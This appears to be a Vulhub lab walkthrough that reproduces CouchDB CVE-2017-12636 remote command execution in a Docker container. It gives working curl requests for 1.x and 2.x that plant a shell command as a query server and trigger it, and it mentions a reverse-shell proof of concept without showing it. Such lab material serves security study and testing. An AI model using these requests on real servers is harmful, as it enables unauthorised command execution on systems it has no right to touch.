Apache CouchDB is an open-source document-oriented NoSQL database, implemented in Erlang. CouchDB uses multiple formats and protocols to store, transfer, and process its data. It uses JSON to store data, JavaScript as its query language using MapReduce, and HTTP for an API.
CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet.
Chain CVE-2017-12635 and CVE-2017-12636 to get a unauthenticated remote command execution.
Reference link.
- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
- https://www.exploit-db.com/exploits/44498
- http://bobao.360.cn/learning/detail/4716.html
API interfaces of Couchdb 2.x and and 1.x are somewhat different, so this vulnerability is exploited in a different way. This environment is about version 1.6.0, if you want to test version 2.1.0, you can use the CVE-2017-12635.
Start a Couchdb 1.6.0 server.
docker-compose up -d
After the startup is complete, browse http://your-ip:5984/
to see the welcome page of Couchdb.
CVE-2017-12636 is a post-authentication RCE, so if you do not know the target administrator password, you can use CVE-2017-12635 to add an administrator user first.
Execute the following requests in sequence to trigger arbitrary command execution.
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id": "770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language": "cmd", "map":""}' -H 'Content-Type: application/json'
Here, vulhub:vulhub
is the administrator account and password.
The first request is to add a query_servers with the name cmd
and the value "id >/tmp/success"
, which is the command we are going to execute later.
The second and third requests are to add a database and document, which can be queried only after it is added here.
The fourth request is to do a query in this Database, a query_servers named cmd
that I added in the first step is used, and finally trigger the command execution.
The two APIs I used above have been modified in 2.1.0 and need to be explained in detail here.
Couchdb 2.x introduces clustering, browser the /_membership
to get the node list.
curl http://vulhub:vulhub@your-ip:5984/_membership
As you can see, we have only one node here, with the name nonode@nohost
.
Then, modify the configuration of node nonode@nohost
as follows.
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
Then, in the same way as the 1.6.0 exploit:
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id": "770895a97726d5ca6d70a22173005c7b"}'
Couchdb 2.x removed _temp_view
, so we need to add a _view
in order to trigger the command defined in query_servers
:
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test", "views":{"woyun":{"map":""} }," language": "cmd"}' -H "Content-Type: application/json"
Then commands in query_servers
will be executed.
I wrote a simple POC exp.py, modified the target and command inside the script to your test target, then modified the version to the corresponding Couchdb version (1 or 2), and successfully get the reverse shell: